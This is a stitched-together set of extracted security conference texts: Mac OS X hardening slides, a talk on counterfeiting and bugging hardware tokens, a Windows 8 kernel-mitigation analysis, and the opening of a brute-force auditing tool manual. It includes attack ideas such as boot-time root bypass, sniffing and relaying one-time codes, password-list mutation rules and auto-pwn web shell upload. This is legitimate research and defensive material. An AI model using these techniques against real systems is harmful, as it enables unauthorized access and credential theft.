];then password.pl fi password.pl is his perl script to check against a pre-set password. Can we break this? (http://www.osxscripts.com/secureit.html) Replace the kernel? You could replace the kernel with one where single user mode is inaccessible, as described here: http://www.securemac.com/ disablemacosxsingleboot.php This could be a problem during your first hardware failure, though. Boot Security - Boot from CD? • Like most operating systems, obtaining root from boot is insanely easy. • Hold down the Option key while booting, insert the OS X cd, and run the password utility. Boot Security - Countermeasure Activate the Open firmware password. 1. Boot into firmware: Command+Option+O+F 2. Type “password” 3. Type “setenv security-mode command” 4. Type “reset-all” 5. (command = password for non-standard boot) 6. (full = password for any boot) (http://www.securemac.com/openfirmwarepasswordprotection.php) Autologin Prob: The login screen is bypassed, by default. Soln: Deactivate Autologin. (System Preferences ->Accounts->Users-> ”Log in automatically as user”) /Library/Preferences/com.apple.loginwindow.plist Remove key autoLoginUser manually or via defaults command. Restart and shutdown Prob: Login screen allows reboot or shutdown without authentication. Soln: Deactivate these too! (System Preferences ->Accounts-> Login options->”Hide the restart and shutdown buttons”) General Programs/ Network Daemons /etc/rc runs /etc/rc.common to do some common startup that we (mostly) can’t configure and to source /etc/hostconfig. /etc/rc then runs SystemStarter, Darwin’s replacement for the BSD and SysV init scripts. SystemStarter SystemStarter examines everything in: /System/Library/StartupItems/foo/foo AND /Library/StartupItems/foo/foo And runs them in an order it determines dynamically! SystemStarter (cont) Each of these startup scripts: /System/Library/StartupItems /Apache/Apache Has meta-information in: /System/Library/StartupItems/Apache /StartupParameters.plist Starting and Stopping Scripts /System/Library/StartupItems/foo/foo …takes arguments start, stop and restart. You can shut down the current instance by running these or by running: SystemStarter stop foo Script Ordering /System/Library/StartupItems/Apache/ /StartupParameters.plist looks like: { Description = "Apache web server"; Provides = ("Web Server"); Requires = ("DirectoryServices"); Uses = ("Disks", "NFS", "Network Time"); OrderPreference = "None"; } Deactivating System Daemons /etc/rc.common sources /etc/hostconfig before running SystemStarter. So do most of the SystemStarter scripts! We deactivate daemons either via this file or by hacking on the scripts ourselves. Deactivating automount If we read /System/Library/StartupItems/NFS/NFS We find that the automount program runs by default, but that we can deactivate it by setting AUTOMOUNT=-NO- in /etc/hostconfig. Deactivating NFS servers? The script /System/Library/StartupItems/NFS/NFS starts nfsd and mountd if exports exist. It checks both /etc/exports and the output of “ nidump exports . “ Deactivating nfsiod The script /System/Library/StartupItems/NFS/NFS also starts the nfsiod daemon whether we like it or not. We can edit the script to deactivate this, if this box isn’t an NFS client. Deactivating the rest… To do a thorough audit, you’d read through all the start scripts. For the time-challenged, we’ll just look at the programs on the system that are running now and find their launch scripts/variables, so we can deactivate them. /etc/hostconfig AFPSERVER=-NO- APPLETALK=-NO- AUTHSERVER=-NO- AUTOMOUNT=-YES- CONFIGSERVER=-NO- CUPS=-YES- IPFORWARDING=-NO- IPV6=-YES- MAILSERVER=-NO- NETBOOTSERVER=-NO- NETINFOSERVER=-AUTOMATIC- /etc/hostconfig (cont) NISDOMAIN=-NO- RPCSERVER=-AUTOMATIC- TIMESYNC=-YES- QTSSERVER=-NO- SSHSERVER=-NO- WEBSERVER=-NO- SMBSERVER=-NO- DNSSERVER=-NO- APPLETALK_HOSTNAME=*4a6179204265616c65d57 320436f6d7075746572* Changing settings in /etc/hostconfig We already know that we can safely deactivate automount by setting AUTOMOUNT=-NO- in /etc/hostconfig. What about CUPS, NETINFOSERVER, RPCSERVER. and TIMESYNC? Changing settings in /etc/hostconfig(2) CUPS controls whether /System/Library/StartupItems/Printing Services/PrintingServices runs cupsd or not. It’s safe to reset. Then run /System/Library/StartupItems/PrintingServices/ PrintingServices stop Changing settings in /etc/hostconfig(3) NETINFOSERVER controls whether /System/Library/StartupItems/ PrintingServices/PrintingServices runs nibindd (YES) or netinfod (NO) or not. When set to AUTOMATIC, it starts nibindd if this machine is part of a non-local NetInfo domain and netinfod otherwise. Changing settings in /etc/hostconfig(4) TIMESYNC controls whether /System/Library/StartupItems/NetworkTime/ NetworkTime runs ntpdate and ntdp or not. It’s safe to deactivate -- your call. Time sync is useful, though NTPd might be less safe. If you deactivate, run: /System/Library/StartupItems/NetworkTime/ NetworkTime stop Seeing what’s left? We can see what’s left by running ps and learning about the processes remaining. The first one that catches my eye is inetd. Looking in …/StartupItems/IPServices/IPServices: inetd? …/StartupItems/IPServices/IPServices: StartService () { ## # Internet super-server. ## ConsoleMessage "Starting internet services" inetd xinetd -pidfile /var/run/xinetd.pid inetd and xinetd? You can run both of these together, so long as they don’t listen on any ports in common. Apple ships both of these listening to no ports by default. Xinetd gracefully exits, while inetd does not. We could modify the script, wrapping inetd in: if [ `egrep -v '^#' /etc/inetd.conf | wc -l` -ge 0 ] ; then inetd ; fi /etc/xinetd.d/ftp service ftp { disable = yes socket_type = stream wait = no user = root server = /usr/libexec/ftpd server_args = -l groups = yes flags = REUSE } What programs are left? (1/2) /System/Library/CoreServices/… /sbin/autodiskmount /sbin/init /sbin/mach_init /usr/libexec/crashreporterd /usr/sbin/blued /usr/sbin/lookupd configd What programs are left? (2/2) cron dynamic_pager kextd netinfod syslogd update /usr/sbin/mDNSResponder DirectoryService autodiskmount autodiskmount is used for mounting removable media and OS X .dmg (disk image) files. You can deactivate it by commenting it out of (or deleting): /System/Libraries/StartupItems/ Disks/Disks/ mDNSResponder mDNSResponder is the core registration daemon for Rendevous. Rendevous is Mac’s broadcast/discovery system. You can deactivate it by commenting it out of (or deleting): /System/Libraries/StartupItems/ mDNSResponder/mDNSResponder/ Deactivating the rest… To do a thorough audit, you’d read through all the start scripts. This is covered in detail at: www.bastille-linux.org/jay/killing-osx- daemons.html More to do? Our next step at this point should be to see what’s still listening on the network and make sure that it makes sense. # netstat -anp tcp # netstat -anp udp # lsof -i tcp:port # lsof -i udp:port TCP Audit # netstat -anp tcp | grep LISTEN tcp4 0 0 127.0.0.1.1033 *.* LISTEN # lsof -i tcp:1033 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME netinfod 277 root 6u inet 0x01c92d1c 0t0 TCP localhost:1033 (LISTEN) netinfod 277 root 7u inet 0x01c9123c 0t0 TCP localhost:1033->localhost:963 (ESTABLISHED) netinfod? Netinfod is the local-only Netinfo daemon used by the operating system for local lookups. • It only listens on loopback. • It’s not clear whether OS X will run without it. UDP Audit - Netstat # netstat -anp udp Active Internet connections (including servers) Proto Recv-Q Send-Q Local Address Foreign Address (state) udp4 0 0 *.49231 *.* udp4 0 0 *.49227 *.* udp4 0 0 127.0.0.1.1033 *.* udp4 0 0 *.514 *.* udp4 0 0 *.68 *.* UDP Audit - Port 49231 - lookupd # lsof -i udp:49231 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME lookupd 2772 root 8u inet 0x01ae6cb0 0t0 UDP *:49231 Lookupd is “an information broken and cache” for most information about the system. It consults Netinfo, NIS, DNS, and even the files in /etc/. We should probably leave it alone. UDP Audit - Port 49231 - lookupd # lsof -i udp:49227 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME lookupd 2772 root 4u inet 0x023c5d80 0t0 UDP *:49227 This is also lookupd. Let’s leave this alone. UDP Audit - Port 1033 - netinfod # lsof -i udp:1033 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME netinfod 277 root 5u inet 0x01ae6be0 0t0 UDP localhost:1033 This is also netinfod. Remember, this is only listening on loopback. Let’s leave this alone. UDP Audit - Port 514 - syslogd # lsof -i udp:514 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME syslogd 253 root 4u inet 0x01ae6e50 0t0 UDP *:syslog This is syslogd, though it shouldn’t be listening on the network unless it’s the central syslog server. Following up on syslogd While syslogd has bound to the syslog port (514), it doesn’t appear to accept syslog messages from other hosts. This is consistent with the man page for syslogd: -u Select the historical ``insecure'' mode, in which syslogd will accept input from the UDP port. Some software wants this, but you can be subjected to a variety of attacks over the network, including attackers remotely filling logs. One wonders whether it will accept spoofed messages pretending to be from this host… UDP Audit - Port 68 - Configd # lsof -i udp:68 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME configd 110 root 7u inet 0x01ae6f20 0t0 UDP *:bootpc Configd provides the DHCP client on OS X. We’ll need to keep it on for this system. Next Steps Do a Set-UID/Set-GID audit Audit cron jobs Audit daemon configurations Do a Permissions audit Set-UID audit/Set-GID audit #find / -type f -perm -04001 -ls >suid-files #find / -type f -perm -02001 -ls >sgid-files #find / -type f -perm -04001 -user 0 -ls \ >suid- root #find / -type f -perm -02001 -group 0 -ls \ >sgid- root #find / -type f -perm -02001 -group 80 -ls \ >sgid-admin www.bastille-linux.org/jay/suid-audit.html Cron Jobs On OS X, we look at /etc/crontab: # Run daily/weekly/monthly jobs. 15 3 * * * root periodic daily 30 4 * * 6 root periodic weekly 30 5 1 * * root periodic monthly 31 This just runs the periodic program. We need to audit /etc/periodic/*. Cron audit - /etc/periodic/* # ls /etc/periodic/* /etc/periodic/daily: 100.clean-logs 500.daily /etc/periodic/monthly: 500.monthly /etc/periodic/weekly: 500.weekly Daemon Configurations When you harden a system, you generally spend part of your time deactivating daemons, but also good deal of your time changing the configurations of the remaining daemons to something stronger. Some of this involves running things as non- root users and creating jails/chroot prisons. The rest involves tweaking config files. Permissions Audits It’s very interesting how some weak permissions around the system can give you far more access than you should have. Consider this question: What could a user on your system do if he realized that a commonly-used binary was in a world-writable directory? Permissions Audits Begin your permissions audit with a search for world-writable files and directories then! # find / -type f -perm -02 -ls >world-writ-files # find / -type d -perm -02 -ls >world-writ-dirs Bastille Linux Bastille Linux is a hardening script for five Linux distributions, HP-UX and Mac OS X. It can automate much of what we’re doing here. www.bastille-linux.org Read my articles for more… My articles have focused on Linux lockdown. You can these, along with lockdown articles on Mac OS X, on: www.bastille-linux.org/jay/
pdf
Secure Tokin’ & Doobiekeys: How to roll your own counterfeit hardware security devices @sercurelyfitz, @r00tkillah $whoami Michael* (@r00tkillah) has done hard-time in real-time. An old-school computer engineer by education, he spends his days championing product security for a large semiconductor company. Previously, he developed and tested embedded hardware and software, dicked around with strap-on boot roms, mobile apps, office suites, and written some secure software. On nights and weekends he hacks on electronics, writes Troopers CFPs, and contributes to the NSA Playset. * Opinions expressed are solely my own and do not express the views or opinions of my employer. ● Lectrical Nginear by education ● 10+ years of fun with hardware ○ silicon debug ○ security research ○ pen testing of CPUs ○ security training ● Applied Physical Attacks Training: ○ X86 Systems ○ Embedded Systems ○ Hardware Pentesting ● Own white shoes full of LEDs whoami? Joe FitzPatrick @securelyfitz [email protected] Wouldn’t it be cool if... We had a magical device that ● Encrypted things for us ● Authenticated things for us ● Authenticated us to others ● Solved all our insecurities Wouldn’t it be cool if... That magical device ● Fit in the palm of our hand ● Was easy to use ● Only cost a few bucks Wouldn’t it be lame if... This turned into a sales pitch for hardware security devices? These are all improvements... But they’re not magic. Classic Hardware Threat Modeling ● Common attackers: ○ Evil maid ○ Supply chain ○ and End user ● Common vectors: ○ external ports ○ internal pins ○ counterfeit chips ○ intrusive techniques Don’t attack the standard. Attack the implementation.* *Does not refer to the hardware implementation Refers to the use cases and common scenarios RSA Securid Token First, what’s the real easiest way in? “an extremely sophisticated cyber attack” Hardware can be hard. Hardened Hardware is Harder ? Common Assumptions: ● The computer may be pwnd, but the token is separate ● The master key inside the chip is what the attackers after ● Getting that key will either be destructive or time consuming A different Approach: ● The verification code is what we need to login. ● That needs to be output for the device to be functional. ● Can we sniff and relay that? Surgery time Surgery time Dot toggles every second... Toggles Every Second... Bars build every 10s Pseudocode: Is_LCD_On: Sample a pin 3x at 128Hz If 101 or 010, return true Wait until Is_LCD_On(2nd to last bar) Foreach 7seg segment: IsLCDOn(segment) Delay 59 seconds Repeat But what do we do with the data? LCD-BLE bridge Insanely Low power - should last years leeching off the coin cell Lots of GPIO Plenty of power to read LCD pins and convert them to text LCD-BLE bridge - Inspiration: RSA Tokin’ We didnt capture any crypto We can listen to the verification code We could broadcast the verification code over bluetooth *We still do have to seal up the case without it looking too much like tampering… maybe lasers can help... Image of rsa token with back panel attached... Doobikey - Get Some DoobieKey - Verify Is this a legit Yubikey? DoobieKey - Verify Is this a legit Yubikey? DoobieKey - Customize DoobieKey - DIY DoobieKey - legitimize Yup! DoobieKey - legitimize Yup! DoobieKey - legitimize Yup! Doobiekey - legitimize it! Doobiekey - Wait. What Just Happened? Doobikey - With a Touch of Evil So what? We poked around at 5 hardware security devices. They are improvements and worth using. But they arent magic. So what? Hardware doesnt make things safer. Hardware doesnt make things harder. Hardware DOES raise the barrier to entry… by a few dollars* * a few dollars could actually be ∞% more expensive than software! Every one of these devices improve security. Use them. Hardware threat models are LOTS more complicated than we give them credit for Software hacking is looking at the layers of abstraction, and finding a way through. Hardware is just another layer of abstraction Software doesn’t run on hardware It runs on layers of abstractions, all the way down to electrons and atoms Still trust hardware implicitly? What are you smoking? Questions? BACKUP!!! Case Studies: RSA Tokin Secure Boot Trusted Platform Module Yubikey The Stateless Computer Secure Boot - Booting Blatantly Stolen Slide Secure Boot - PKCS7 FTW Blatantly Stolen Slide Secure Boot - Signed by GeoTrust Secure Boot - Ubuntu Blatantly Stolen Slide Secure Boot - thisisfine.jpg Secure Boot - Ubuntu No verfiable kernel? No problem. ExitBootServices() Boot Anyway! Secure Boot - Ubuntu Wanna Boot Windows from GRUB? Sure! But - windows will NOT report that it has been securely booted Secure Boot - Ubuntu Wanna Boot Windows from GRUB securely? Escape before ExitBootServices() Is called. How? Cmon hackers… figure it out Config files Additional Modules 3 image parsers written from scratch Secure Boot - Ubuntu Explioit a bug Boot Bootkit Bootkit loads windows Bootkit! Secure Boot - Possible Future Case Studies: RSA Tokin Insecure Boot Spliff Trusted Platform Module Yubikey The Stateless Computer What’s Trusted Platform Module It does crypto stuff It plugs into an LPC header Many systems dont ship with them In human terms: I need to get one to use bitlocker. That’s all great. Where do i get one? Best Buy: Nope Frys: Nope Microcenter: Nope Radio Shack: Yeah Right If you want a hookup, you have to find a sketchy dealer: What’s this sketchy stuff i’m putting in my ‘puter? LPC = ISA, 4x as fast, ¼ the pins LPC can do DMA by pulling LDRQ‘ I ♥ DMA Wouldnt it be great if someone already did all that work though? Oh: I ♥ DMA (Un)fortunately LDRQ‘ isnt on the TPM header Anyone Can Make a TPM* Its an open standard! * Anyone with time to spare…. Trusted Platform Modules People get them from sketchy sources We could make a malicious one No DMA, but we could make a leaky one … maybe the next time I have patience or a nation-state backing me Case Studies: RSA Tokin Insecure Boot Spliff Trusted Platform Module Doobiekey The Stateless Computer So perhaps we should rethink this whole hardware security thing... Isolation works with software. Can it work with hardware? *The industry needs more brainstorming like this* State Logic Processor Comms I/O devices BIOS Firmware EEPROM NVRAM Storage State This is the stuff we need to trust State Logic Processor Comms I/O devices BIOS Firmware EEPROM NVRAM Storage State Or even more simplified: State Logic Gates (but not latches) Bits Or even more simplified: State Logic Quad XOR Gate SPI EEPROM Or even more simplified: State Logic Quad XOR Gate Or even more simplified: State Logic !!!Demo ● User sends plaintext ● SPI flash outputs key ● XOR does magic ● XORd cyphertext comes back to user ● Key bits loop around ● Repeat to decrypt Can you verify this board? ● Its only got one chip ● It was designed in the 60s ● Its only a 2 layer board ● It follows the XOR truth table properly Can you verify this board? ● 14 pin DIP = many things ● Attiny84 fits the bill ● Need to bluewire it but that could be easily concealed Picture of the populated logic board One of these things is not like the other ATTINY84 74SN86 Faking a crypto ASIC... that’d be like… hard? Add a little state…. False Advertizing! But youre supposed to be stateless! Youre not supposed to store stuff! We trusted you! Wait… wasnt the whole point to not have to trust you? Picture of the populated logic board We need to ‘Trust’ That this is stateless! This is the stuff we need to trust State Logic Processor Comms I/O devices BIOS Firmware EEPROM NVRAM Storage State Case Studies: RSA Tokin Insecure Boot Spliff Trusted Platform Module Doobiekey Altered State
pdf
MJ0011 [email protected] Reversing Windows8: Interesting Features of Kernel Security 1 Goal: Revising Windows 8 Release Preview Find new security features to defend or mitigate kernel vulnerability attack Target: ntoskrnl Tools: IDA Pro/Hex-rays/windbg Agenda 2 – Disable Null Page Memory Allocation – Disable Win32k System Call – Security Failure Interrupt – Nonexecutable NonPaged Pool – Apply Intel® Secure Key Technology – Apply Intel® SMEP Technology Agenda 3 – Null-page memory:for 16bit VM:ntvdm – Allocate null-page memory by using ZwAllocateVirtualmemory to Trigger uninitialized object pointer reference vulnerability or to achieve other vulnerability attack • Example: CVE-2010-4398 N-Protect TKRgAc2k.sys kernel 0day(POC2010) – Now the system disallow low address (0x0~0x10000) allocation in Windows8 – EPROCESS->Flags.VdmAllowed Disallow Null Page Allocation 4 – 16bit virtual machine is disabled by default in windows8, only administrators can enable it Disallow Null Page Allocation 5 – Windows8 checks all the locations to which null page can be allocated. • MiCreatePebOrTeb:create peb or teb • MiMapViewOfImageSection->MiIsVaRangeAvailable: Mapping image section • MiMapViewOfDataSection/MiMapViewOfPhysicalSection Mapping data/physical section • MmMapLockedPagesSpecifyCache/MmMapLockedPages-> MiMapLockedPagesInUserSpace • Mapping in user address space • NtAllocateVirtualMemory:Allocate process memory Disallow Null Page Allocation 6 Disallow win32k system call – EPROCESS->Flags2.DisallowWin32kSystemCalls – KiFastCallEntry(2)->PsConvertToGuiThread Disallow win32k system call 7 – Why disallow win32k system call – Win32k.sys: a high incidence of windows kernel vulnerability, can be called without process privilege control • MS11-087 Trojan.win32.Duqu : win32k.sys font parse vulnerability – Current application sandbox defense method • Job UI restriction (ineffective) – Disallowing win32k system call can easily defend any win32k related 0day without using 3rd party kernel driver – Also can defense user/gdi sandbox attack trick which does not use 0day Disallow win32k system call 8 – PsConvertToGuiThread : Used by GUI thread to make its initial win32k system call – After applying DisallowWin32kSystemCalls flag, any system call for user/gdi will fail. – 3 methods to get this flag: • 1.IEFO Registry Configuration : – HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MitigationOptions (0x10000000) – NtCreateUserProcess->PspAllocateProcess-> PspApplyMitigationOptions • 2.Documented API:SetProcessMitigationPolicy – NtSetInformationProcess->ProcessMitigationPolicy • 3.Inherit from parent process Disallow win32k system call 9 – New security failure interruption in Windows8: INT 0x29 – Will trigger BSOD when used during security failure of windows kernel or other drivers. – Most commonly used in double-linked list operation. Such interruption is added to all the double-linked list in Windows OS Loader / kernel and kernel drivers – So called “Safe Linking & Safe Unlinking” • Safe Linking::IoRegisterFsRegistrationChangeMountAware • Safe Unlinking:IoUnregisterFileSystem – To defense attack trick such as using tampered list entry structure to manipulate a Write-What-Where condition Security Failure Interruption 10 Security Failure Interrupt Safe unlinking and int 0x29 interrupt: IoUnregisterFileSystem 11 – KiRaiseSecurityCheckFailure : • Int 0x29 Interrupts handler routine • It simply calls KiFastFailDispatch->KiBugCheck to show BSOD – Bug check code: 0x139 : Currently not documented • Parameter:ecx :The Error ID – Known Security Fast-Fail Error ID: • 0x2: Kernel driver security cookie exception • 0x3: Safe unlinking / Safe linking exception • 0x6: Kernel driver security cookie initialize exception • 0x9: RtlQueryRegistryValuesEx using untrust key(CVE-2010-4398 ) Security Failure Interruption 12 – Before Windows8 , kernel and kernel drivers can only use ExAllocatePoolXXX API to allocate executable nonpaged memory – Executable nonpaged pool can be used to create kernel vulnerability ROP attack – In Windows8 , There are some new pool types: • NonPagedPoolNx • NonPagedPoolNxCacheAligned • NonPagedPoolSessionNx – Kernel pool memory which is allocated from NonPagedPoolNx type is nonexecutable now, code executable in this type of pool will cause a system crash – Windows8 kernel and kernel drivers now use NonPagedPoolNx instead of NonPagedPool type Nonexecutable Nonpaged Pool 13 Nonexecutable Nonpaged Pool – Kernel uses nonexecutable nonpagedpool – IoAllocateDriverObjectExtension 14 Apply Intel® Secure Key Technology – Intel® Secure Key Technology , code name: Bull Mountain Technology – Introduced in April 2012, Intel 3rd generation Core processor: Ivy Bridge • Offers hardware approach to high-quality,high-performance entropy and random number generator – New Intel 64 Architecture instruction: RDRAND – Windows8 kernel uses this instruction to generate random number to produce security cookie and ASLR address – Related Function:ExGenRandom 15 Apply Intel® Secure Key Technology – Past kernel random number attacks: security cookie prediction & ASLR brute force – Before Windows8 , Windows kernel use system clock to generate security cookie and ASLR address – Base on module loading time, security cookie can be easily predicted with a success rate of more than 46 percent(j00ru). – J00ru. Windows Kernel-mode GS Cookies subverted. – H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh. On the effectiveness of address-space randomization. – Windows 8 kernel use security cookie generated by Intel secure key technology and apply it to all loaded kernel drivers 16 Apply Intel® Secure Key Technology • When loading the kernel driver, Windows 8 calls MiProcessLoadConfigForDriver to generate security cookie, locates old security cookie in PE and replaces it. • New Windows8 kernel drivers will check if their security cookies are already replaced. 17 Apply Intel® Secure Key Technology – The way of Windows7 kernel generates security cookie: HalQueryRealTimeClock(from CMOS) ^ rdtsc – The way of Windows8 kernel generates security cookie: ExGenRandom-> ExpSecurityCookieRandomData ^ rdtsc – Windows8 runtime kernel does not directly use RDRAND instruction – ExGenRandom uses random entropy source generated from OS Loader calling RDRAND instruction in system booting process • Winload! OslpGatherRdrandEntropy – In fact , OS Loader use 5 methods to get high quality random number entropy sources – External entropy(from registry)\TPM entropy\clock entropy\ACPI entropy\RDRAND entropy 18 Apply Intel® Secure Key Technology – IDA Pro 6.3 supports RDRAND instruction decoding. – Winload initializing SecureKey in system booting process 19 Apply Intel® Secure Key Technology – ExGenRandom is also used in these kernel functions: • Kernel pool quota cookie • Kernel pool address allocation randomization • PEB/TEB address randomization • Kernel module address randomization • Thread stack and heap address randomization – And user functions: • Shared User Data->Cookie(ring3 Ldr* encode and decode) • User address space memory allocation randomization • User data section and image section allocation randomization 20 Apply Intel® Secure Key Technology – Guillaume. Bypassing ASLR and DEP on Adobe Reader X – The sandbox inside Adobe Reader X and Google Chrome browser uses VirtualAllocEx function to allocate memory and copy System Call Stub jump shell code into it. – In Win7 and previous OS, memory allocated by VirtualAllocEx function is not randomized. There is more than 85 percent chance the shell code base address will hit a fixed address in every booting. – The attacker uses System Call Stub jump code in fixed address to allocate executable memory and bypass DEP+ASLR – Windoows8:System uses MmInitializeProcessAddressSpace to call ExGenRandom and generate random number during process startup – When process uses NtAllocateVirtualMemory to allocate memory ,system uses MiSelectAddress to select a randomized address with generated random number 21 Apply Intel® Secure Key Technology – A comparison test between Windows7 and Windows8 in remote user memory allocation address – Start calc.exe process 20 times and allocate remote buffer in it 22 Apply Intel® SMEP Technology – SMEP : Supervisor-Mode Execution Prevention – Also introduced in April 2012 of Intel 3rd generation Core processor: Ivy Bridge – New hardware protection mechanism provided by Intel CPU, allows pages to be protected from supervisor mode instruction fetches. – Background:Most kernel vulnerability attacks use tricks to make kernel code jumping to preset shell code which is placed in user address space – Classic trick: – Replace HalDispatchTable-> HalQuerySystemInformation – Why place shell code in ring3 address space? Payload and address randomization. 23 Apply Intel® SMEP Technology – When SMEP is enabled: • Supervisor-mode(CPL<3)instruction will check the U/S flag of paging-structure entry during instruction fetching . The CPU will raise a exception when PTE owner is user. – Set SMEP bit(bit 20) of cr4 register to 1 will enable SMEP – Windows 8 kernel enables SMEP by default: – Phase1Initialization-> Phase1InitializationDiscard - >KiInitMachineDependent 24 Apply Intel® SMEP Technology – MI_CHECK_KERNEL_NOEXECUTE_FAULT – Windows8 uses this function to process two kinds of nonexecutable exceptions in Page Fault Trap handler: KiTrap0E 25 Apply Intel® SMEP Technology – An way to bypass SMEP: put shell code into kernel object memory, and get kernel object address with NtQuerySystemInformation- >SystemHandleInformation(Ex) – Available target object:FileObject ? 26 Apply Intel® SMEP Technology – Impossible in Windows8: SMEP + NonPagedPoolNx – All kernel objects memory are nonexecutable – The pool type of kernel object is assigned by ObCreateObjectType call in system booting process – Windows8 has assigned pool type of FileObject as NonPagedPoolNx 27 Apply Intel® SMEP Technology – The defense situation of known SMEP attack trick in Windows8 Attack Trick Windows 8 Defense Method SystemHandleInformation(Ex) Kernel object memory NX SystemLockInformation Safe Linking/Unlinking SystemModuleInformation No protection in data area Write protection in code area SystemExtendProcessInformation No protection GDT/IDT No protection 0xFFDF0000 (User Shared Data) MiProtectKernelRegions set Nx 0xFFC00000~0xFFFFFFFF(KPCR) KPCR randomization Win32k Shared Section USER/Kernel object memory Nx 28 Reference – Intel. Intel® Digital Random Number Generator Software Implementation Guide – Intel. Intel® 64 and IA-32 Architectures Developer's Manual: Vol. 3A – J00ru . Exploiting the otherwise non-exploitable:Windows Kernel-mode GS Cookies subverted – H. Shacham, M. Page, B. Pfaff, E.-J. Goh, N. Modadugu, and D. Boneh.On the Effectiveness of Address-Space Randomization – Guillaume. Bypassing ASLR and DEP on Adobe Reader X 29 Q&A – Thanks for: • CHROOT Security Group • 360Safe MDT/HIPS Team 30
pdf
Scylla & 1.0 Alpha (101% Colombiano) http://www.2secure.org Sergio Valderrama (flacman at cuteam dot org) Carlos Rodriguez (iker at cuteam dot org) Special thanks to: RPM (Our designer, and webshell creator), Zealot (for his help with charybdis), Tronador (he build pieces of mail modules) Download: You would be able to download the source only (with compiling instructions) from here: http://code.google.com/p/scylla-v1/ (will be uploaded the 22 of July) Abstract When there's no technical vulnerability to exploit, you should try to hack what humans left for you, and believe me, this always works. Scylla provides all the power of what a real audit, intrusion, exclusion and analysis tool needs, giving the possibility of scanning misconfiguration bugs dynamically. Scylla aims to be a better tool for security auditors, extremely fast, designed based on real scenarios, developed by experienced coders and constructed with actual IT work methods. The words “Configuration Tracer” are the best definition for Scylla, a tool to help on IT audits. Introduction This document is a reference manual about what Scylla is, and what its capabilities are. This document will show the user a hypothetical scenario that shows what he/she is able to do when Using Scylla and basic explanation of each one of its modules and its features. Scylla is not solely meant to be an exploitation tool or a tool to discover vulnerabilities within applications, but rather as a method to hack and patch “human stupidity”, such as common errors or flaws unintentionally put in service configuration. Scylla is built over an extremely fast and reliable core, with anti-anti Brute force techniques, error recovery protocols, and a lot of speedup tricks with most manual (and other types of attacks unknown to the user) being coded to avoid repetitive tasks. BTW, if you haven’t read well, this is 1.0a version, and the “a” comes from “A lot of work to do”, “A lot of bugs (I think)” and “A lot of testing left”, and we will appreciate a lot your help . Objective Scylla is a tool to audit different online application protocols and configurations, built over a brute-force core. This tool acts at a tool for unifying auditing techniques, in other words, it does what oscanner, winfingerprint, Hydra, DirBuster, and other tools do, and also what those tools don’t do. Scylla is arguably the first free-open source auditing/hacking tool for protocols such as LDAP, DB2, Postgres, terminal and Mssql; Scylla adds tons of new features to what those other tools do but with a key difference: it does them faster and smarter! Supported Protocols  Terminal (Telnet, SSH, telnets)  FTP (FTPS, FTP, SFTP)  SMB (Also Windows RPC)  LDAP  POP3 (POP3S)  SMTP (SMTPS)  IMAP  MySql  MSSQL  Oracle (Database and TNS Listener)  DB2 (Database and DAS)  HTTP(HTTPS; Basic AUTH Brute Force, Digest AUTH Brute Force, Form Brute Force, Directory and files Brute Force)  DNS (DNS snooping)  Postgres SQL  And more coming… How does Scylla work? Scylla functions on three basic stages: Pre-Hack Stage: This stage is defined as what information Scylla can readily obtain without resorting to brute-force attacks (something like enumeration). Here is where anti-anti-Brute Force techniques are implemented, such as getting information on password policies, latency times, etc. Scylla is also obtaining extra information to make the attack: searching for protocol and service versions, verify null sessions, and system enumeration among other things. It also builds specially crafted lists (based on other lists.) When applicable, the AutoPWN modules (such as a “one click” web shell upload on a MySQL attack or opening a blind shell using MSSQL services without any previous information). Brute Force Stage Here is where Scylla shines. It is an extremely fast brute force core. For example when hydra makes 7.000 tries/min, Scylla makes over 22.000 tries/min over MSFTPd. Post Hack Stage: What can you do with a user-password combination? Simple stuff like fetching the /etc/shadow file or the FEAT response of an FTP server, or more complex stuff such as spawning a shell with just one MSSQL command (a OneClickOwnage paper implementation). It is more or less like Maintaining Access or Expanding Influences. Charybdis Charybdis is Scylla’s counterpart. He’s at the other side of the river. What if you “pwnd” a Linux server (or even a windows server) and you can’t get heavy tools or don’t have GUI access to it (or simply, you are a *Nix user)? This is why Charybdis was built: To be at the other side waiting for Scylla. It’s simply a multi-platform high speed pipe between Scylla and whatever is on the other side. Supporting Scylla from basic “bounce” functionality to socks proxy connection, Charybdis is specially crafted to provide the best performance to the attacker. Deep Documentation (what you should see) Basic features:  User, password list based Brute force  Multiple hosts support  Multiple session support  Nmap integration  Non-synchronized threads (proof to be a bit faster)  Ability to restore sessions  Session auto-saving (based on SQL Server CE)  Easy to use  Auto configured options  Hacker oriented  Free, and always free  Database browser (who have hacked a DB and don’t have a DB client to connect to it? And worse if you don’t have internet)  Open source tool List creation List creation is a component to create new lists based on existing dictionaries. The idea is to take each word in a specific list and compose different words based on it. As-Is: Nothing special, just leave the dictionary just as it is. Double: Duplicates the word. Cut – CutCut. CasePerms: Creates every letter-Case permutation of the word. Cut – CuT, CUT, cuT, cut, CUt, etc. Reverse: Reverse the word. CUTeam – meaTUC. LowerCase: Adds the lower case version of the word. Cut – cut. UpperCase: Adds the upper case version of the word. Cut – CUT. H4x0r: Adds the word in “hackers-jargon” (replace each vocal for numbers except u, b for 8, t for 7, l for 1 and s for 5). CUTeam – CU734m. H4x0rPermutation: Creates every H4x0r-Case permutation of the word. Cuteam – Cu7eam, Cu73am, Cu7e4m, Cute4m, etc. Date ap/prepend: Adds the word with different years appended or pre pended (from 1985 to the actual year). CUT – 1985CUT, 2000CUT, CUT1990, CUT2010, etc. 2Number Append: Adds the word with 2 numbers (from 00 to 99) appended. Cut – Cut00, Cut 01… Cut99. Scylla Modules Most of the hacks mentioned here are configurable options, and the default options are options that will let you “auto-pwn” or the ones considered less intrusive or the most important for the author. FTP Pre-Hacks:  If a user is blocked, gets the maximum number of tries until a user gets blocked (numTries) and for the next user just tries numTries passwords.  SFTP – Get supported ciphers Hack: Built from scratch SFTP brute force module, FTP and FTPS brute force. Post-Hacks:  Fetch FEAT response.  Fetch PWD response (actual directory).  Fetch SYST answer (Operating system information)  Check LIST, STOR, MKD, DELE and RMD permissions 